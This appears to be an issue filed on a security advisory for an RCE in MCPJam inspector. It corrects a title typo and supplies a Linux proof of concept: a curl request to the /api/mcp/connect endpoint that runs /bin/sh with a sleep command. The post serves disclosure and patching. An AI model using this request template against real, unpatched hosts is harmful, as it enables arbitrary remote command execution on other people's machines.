GHSA-232v-j27c-5pp6: Linux PoC suggestion and minor advisory corrections
- Dominant language
- TypeScript
- Stars
- 2.2k
- Forks
- 283
- Avg merge
- 11h 47m
- Merged PRs (30d)
- 737
Description
# Issue
- Typo in the advisory title [REC instead of RCE]
- Linux PoC suggestion
While reproducing CVE-2026-23744, I noticed that the advisory title currently says:
`"REC in MCPJam inspector..."`
instead of
`"RCE in MCPJam inspector..."`
Additionally, I confirmed exploitation on Linux using:
```bash
curl http://[IP]:6274/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{
"serverConfig":{
"command":"/bin/sh",
"args":["-c","sleep 10"],
"env":{}
},
"serverId":"test"
}'
```
The resulting response delay corresponds to the sleep duration before the MCP connection closes, indicating command execution prior to MCP protocol validation.
It may be useful to include a Linux example alongside the existing Windows PoC.
Contributor guide
Assessment
This issue has not been assessed yet.